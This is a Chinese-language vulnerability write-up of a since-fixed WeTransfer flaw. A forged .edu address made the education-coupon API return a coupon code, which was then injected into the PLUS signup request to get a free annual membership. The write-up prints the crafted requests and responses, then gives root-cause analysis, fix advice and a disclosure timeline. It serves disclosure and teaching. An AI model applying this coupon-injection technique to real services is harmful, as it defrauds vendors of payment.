挖洞经验 | 看我如何免费获取价值€120的会员资格
字数 1134 2025-08-18 11:37:19
WeTransfer PLUS会员免费获取漏洞分析报告
漏洞概述
本报告详细分析了WeTransfer平台存在的一个安全漏洞,该漏洞允许攻击者通过构造特定请求,绕过正常支付流程,免费获取价值€120欧元的PLUS会员资格。漏洞涉及优惠券验证码泄露和请求构造不当等问题。
目标系统介绍
WeTransfer是荷兰一个基于云端的文件传输服务,主要特点包括:
- 免费用户限制:最大传输2GB文件,保存时间两周
- PLUS会员特权:更大传输容量(15GB)等,年费€120
- 特色功能:无需注册、个性化上传设置、自动病毒扫描等
漏洞发现过程
初始探索
- 发现WeTransfer有针对.edu邮箱的教育优惠:高校学生可免费获取一年PLUS会员
- 测试使用伪造的.edu邮箱(
testttsttststst7@mail.edu)注册教育优惠
关键发现
在发送教育优惠申请请求时:
POST /api/ui/education/coupons HTTP/1.1
Host: wetransfer.com
Content-Type: application/json
{"email":"testttsttststst7@mail.edu"}
服务器响应中直接返回了优惠券代码:
{
"code": "9e0bca0a6d92"
}
漏洞本质:服务器本应通过邮件发送验证码,却在HTTP响应中直接泄露,且未对邮箱真实性进行验证。
漏洞利用方法
步骤1:获取优惠券代码
- 向
/api/ui/education/coupons发送POST请求 - 使用任意伪造的.edu邮箱地址
- 从响应中提取优惠券代码
步骤2:构造会员注册请求
- 访问正常PLUS会员注册页面:
https://wetransfer.com/plus - 选择"Annual subscription"选项
- 填写个人信息并拦截请求
原始请求示例:
POST /api/ui/users HTTP/1.1
Host: wetransfer.com
Content-Type: application/json
{
"country_code": "...",
"vat_number": "...",
"street_and_number": "...",
...其他注册信息...
}
步骤3:注入优惠券代码
在原始请求中添加"coupon_code":"获取的优惠码"字段:
{
"country_code": "...",
"vat_number": "...",
"street_and_number": "...",
"coupon_code": "5a9fa8cc51c3",
...其他注册信息...
}
步骤4:验证利用成功
成功响应特征:
{
"order_completed": {
"successful": true,
"free": true
},
"redirect_to_url": "http://wetransfer.com/payment/completed?duration=year"
}
漏洞原理分析
-
优惠券生成机制缺陷:
- 教育优惠码生成后直接返回给客户端
- 未验证邮箱真实性或建立邮箱与优惠码的绑定关系
-
优惠券验证缺陷:
- 优惠码可被用于任何账户注册
- 服务器未检查优惠码的获取途径和使用条件
-
业务逻辑漏洞:
- 教育优惠流程与普通注册流程存在接口共用
- 权限控制不严格,允许未经验证的优惠码使用
修复建议
- 优惠券生成后应立即与请求邮箱绑定,仅通过邮件发送
- 增加优惠券使用条件验证:
- 验证优惠券获取邮箱与使用邮箱一致性
- 验证优惠券类型与使用场景匹配
- 分离教育优惠与普通注册的API接口
- 实施优惠券使用频率限制
时间线
- 2018.3.24:漏洞初报
- 2018.3.25:WeTransfer响应
- 2018.5.15:漏洞修复
- 最终奖励:€500欧元
总结
本案例展示了业务逻辑漏洞的典型利用方式,攻击者通过分析正常业务流程,发现接口响应信息泄露和验证缺失问题,最终实现权限提升。开发人员应特别注意敏感信息(如验证码)的传输方式,并确保业务逻辑的完整验证。